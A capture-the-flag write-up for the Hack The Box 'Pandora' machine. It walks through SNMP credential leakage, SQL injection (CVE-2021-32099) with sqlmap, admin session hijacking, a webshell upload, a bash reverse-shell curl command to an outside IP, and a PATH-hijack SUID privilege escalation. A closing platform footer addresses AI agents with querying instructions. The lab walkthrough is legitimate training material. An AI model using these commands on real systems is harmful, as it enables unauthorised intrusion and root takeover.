> For the complete documentation index, see [llms.txt](https://ajaykumar-kanthi.gitbook.io/write-ups/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://ajaykumar-kanthi.gitbook.io/write-ups/hack-the-box-oscp-machines/htb-pandora.md).
# HTB - Pandora
## Enumeration and Foothold
### NMAP
```bash
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
```
### HTTP
domain name leaked.
also scanning for know snmp ports resulted in the below
I can use snmp brute to bruteforce the community strings
running snmpbulkwalk leaks the credentials fro daniel.
## Shell as Daniel
Successful authentication.
i need to escalate my privileges to matt.
pandora.panda.htb is listening on port 80 and is running as matt.
i need to port forward it for accessing it as It’s only listening on localhost.
it is vulnerable to unauthenticated sqli injection.
An unauthenticated attacker can supply a crafted SQL injection payload via the session\_id parameter to manipulate session data.
### CVE-2021-32099 (SQLi)
i will use sqlmap for this purposes.
```bash
┌──(ajay㉿kali)-[~]
└─$ sqlmap -u 'http://127.0.0.1:8000/pandora_console/include/chart_generator.php?session_id=1'
```
sqlmap confirms it is vulnerable
databases and tables enumeration
there is one table called tsessions\_php
daniel has so many sessions but matt has only one.
i will try to use the session id to login to matt.
and it works to give access.
the version of the pandora also suffers form authenticated RCE for CVE-2020-5844 (RCE)
### CVE-2020-5844 (RCE)
i need admin access to do anything here.
{% embed url="" %}
`session_id` is used both as the value you're injecting *and* as the literal PHP session ID cookie you'll present afterward. The endpoint checks: the code assigns phpsessionid the value of session\_id, then queries `select * from tsessions_php where id_session=***PayloadHere***`. The UNION SELECT fakes a valid row for whatever `id_session` you pick, injecting serialized session data claiming `id_usuario` = admin.
Pick any string you want to use as your fake session ID let's use `pwned` as an example. Then craft the URL:
now accessing the pandora fms in new browser results in access as admin.
got to admin tool > file manager
upload webshell.
clicking on the file downloads but i need a way to access it.
which i can know by knowing where it is stored on the machine.
now i can access it.
## Shell as Matt
```bash
curl 'http://127.0.0.1:8000/pandora_console/images/shell.php?cmd=bash+-c+"bash+-i+>%26+/dev/tcp/10.10.14.52/4444+0>%261"'
```
looking fro suid bit files gives a custom binary file that has suid set.
So the binary is:
1. **Printing those status messages** — it's a simple C program with `printf` or `puts` calls
2. **Calling `tar`** without an absolute path (just `tar`, not `/bin/tar`) — that's why the error message comes from `tar` itself, not the binary
3. **Trying to write to `/root/.backup/pandora-backup.tar.gz`** — it's backing up something into root's home directory
4. **Failing** because even though it's SUID root, `tar` is being called via `system()` in C which spawns `/bin/sh -c "tar ..."`, and modern shells drop SUID privileges for security.
critically you can also see it calls **`setreuid`** — meaning it properly sets the real UID to root before calling `system()`, so your hijacked `tar` will actually run as root (unlike some boxes where the shell drops SUID). This is a clean privesc.
So the PATH hijack will 100% work.
but first let me get a stable shell
### Writing SSH keys
```bash
# Rewrite the tar script more explicitly
cat > /tmp/tar << 'EOF'
#!/bin/bash
cp /bin/bash /tmp/rootbash
chmod 4755 /tmp/rootbash
EOF
chmod +x /tmp/tar
export PATH=/tmp:$PATH
/usr/bin/pandora_backup
ls -la /tmp/rootbash
```
---
# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.
## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.
Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:
```
GET https://ajaykumar-kanthi.gitbook.io/write-ups/hack-the-box-oscp-machines/htb-pandora.md?ask=&goal=
```
`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.
Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
